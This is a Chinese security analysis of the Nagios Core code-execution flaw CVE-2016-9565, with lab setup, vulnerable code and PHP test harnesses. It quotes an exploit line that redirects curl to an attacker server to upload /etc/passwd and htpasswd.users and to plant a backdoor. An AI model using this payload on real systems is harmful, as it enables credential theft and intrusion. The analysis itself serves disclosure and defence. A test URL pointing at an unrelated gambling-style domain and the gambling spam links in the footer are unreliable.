• <bdo id="begbc"></bdo><canvas id="begbc"></canvas>

        <section id="begbc"><span id="begbc"><tr id="begbc"><col id="begbc"><ins id="begbc"></ins></col></tr></span></section>

          Nagios Core 代码执行漏洞(CVE-2016-9565)分析

          关注 2017-12-06 11:47:07 查看数 9842 ,评论数 0 漏洞分析
          Author: p0wd3r, dawu (知道创宇404安全实验室) Date: 2016-12-15 来源:

          0x00 漏洞概述

          1.漏洞简介

          Nagios 是一款监控IT基础设施的程序,近日安全研究人员 Dawid Golunski 发现在 Nagios Core 中存在一个代码执行漏洞:攻击者首先伪装成 RSS 订阅源,当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者,程序在处理过程中将恶意数据注入到了 curl 的命令中,进而代码执行。

          2.漏洞影响

          漏洞触发前提:
          1. 攻击者可伪装成,利用 dns 欺骗等方法
          2. 攻击者被授权,或者攻击者诱使授权用户访问rss-corefeed.php、rss-newsfeed.php和rss-corebanner.php其中一个文件。
          成功攻击可执行任意代码。

          3.影响版本

          Nagios Core < 4.2.2

          0x01 漏洞复现

          1. 环境搭建

          Dockerfile: 20161216103648 然后运行:
          docker run -p 80:80 --name nagios -d quantumobject/docker-nagios
          访问http://127.0.0.1/nagios,用nagiosadmin:admin登录即可

          2.漏洞分析

          漏洞触发点在/usr/local/nagios/share/includes/rss/extlib/Snoopy.class.inc第657行,_httpsrequest函数中:
          // version < 4.2.0
          exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." 
          ".escapeshellcmd($URI),$results,$return);
          // vserion >= 4.2.0 && version < 4.2.2
          exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." 
          \"".escapeshellcmd($URI)."\"",$results,$return);
          这里使用了escapeshellcmd来对命令参数进行处理,escapeshellcmd的作用如下: escapeshellcmd 作者意在防止多条命令的执行,但是这样处理并没有防止注入多个参数样如果$URI可控,再配合curl的一些特性便可以进行文件读写,进而代码执行。(一般来说为防止注入多个参数要使用 escapeshellarg,但该函数也不是绝对安全,详见 CVE-2015-4642。) 因为之前爆出的 CVE-2008-4796,代码在4.2.0版本做了改变,但是该补丁可以被绕过,只要我们在输入中闭合前后的"即可。 下面我们来看$URI是否可控。根据代码逻辑来看,_httpsrequet被usr/local/nagios/share/includes/rss/rss_fetch.inc中的fetch_rss函数调用,这样我们创建这样一个测试文件test.php:
          <?php 
          define('MAGPIE_DIR', './includes/rss/'); 
          define('MAGPIE_CACHE_ON', 0); 
          define('MAGPIE_CACHE_AGE', 0); 
          define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache'); 
          require_once(MAGPIE_DIR.'rss_fetch.inc');
          
          fetch_rss('https://www.wap.dianjingjune.icu --version');
          访问http://127.0.0.1/nagios/test.php之后开启动态调试,我们在上述exec函数处下断点,函数调用栈如下: req-call $URI情况如下: uri-control 可知$URI可控,并且在传入过程中没有被过滤。 接下来需要构造curl参数来得到我们想要的结果,这里我们使用 Dawid Golunski 提供的 Exp,需要注意的是,他提供的代码可验证4.2.0之前的版本,若验证版本大于等于4.2.0且小于4.2.2时,需对其代码进行一下更改,加上闭合所需要的双引号:
          # 第44行
          self.redirect('https://' + self.request.host + '/nagioshack" -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -
          Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '"', permanent=False)
          该 Exp 具体流程如下:
          1. 在攻击者的服务器上开启一个 http/https 服务器
          2. 受害者使用fetch_rss向该服务器发其请求
          3. 攻击者收到请求后对其进行重定向,重定向 url 为 https:// + 攻击者服务器 + payload,payload 中使用-F将文件内容发送给服务器,--trace-ascii将流量记录到文件中(类似 Roundcube RCE 中 mail函数的-X)。
          4. 服务器接收到重定向的请求后进行了以下三个操作: 解析文件内容 返回后门内容进而通过流量记录写到后门文件中 返回构造好的XML,在description中添加<img src=backdoor.php>
          5. 受害者解析XML并将description的内容输出到html中,进而自动执行后门
          为了方便验证,我们在网站目录下创建一个exp.php:
          <?php 
          define('MAGPIE_DIR', './includes/rss/'); 
          define('MAGPIE_CACHE_ON', 0); 
          define('MAGPIE_CACHE_AGE', 0); 
          define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache'); 
          require_once(MAGPIE_DIR.'rss_fetch.inc');
          
          fetch_rss('http://172.17.0.3');
          (仅为验证漏洞,这里我们并没有解析XML)然后我们在172.17.0.3上运行 Exp,然后访问http://127.0.0.1/exp.php即可得到结果: exp 实际测试时 Exp 中的后门代码有可能在日志中会被截断从而导致命令执行不成功,建议写入简短的一句话: backdoor 真实情况下,fetch_rss的调用情况如下: req-call-1 可见我们并不能控制其参数的值,所以只能通过 dns 欺骗等手段使目标对的访问指向攻击者的服务器,进而触发漏洞。

          3.补丁分析

          4.2.2版本中删除了includes/以及rss-corefeed.php、rss-newsfeed.php和rss-corebanner.php。

          0x02 修复方案

          升级到4.2.2

          0x03 参考

          • Dawid Golunski 的漏洞报告:
          • escapeshellcmd的使用手册:
          交流评论(0)
          Loading...
          点击 ,就能发表评论哦~如果您还没有账号,请 一个吧

          广告

          关注我们 查看更多精彩文章

          css.php
          正在加载中...
          | lol比赛博彩|雷竞技提现手续费多少|英雄联盟外围app下载|lol总决赛外围|最新送彩金菠菜网站|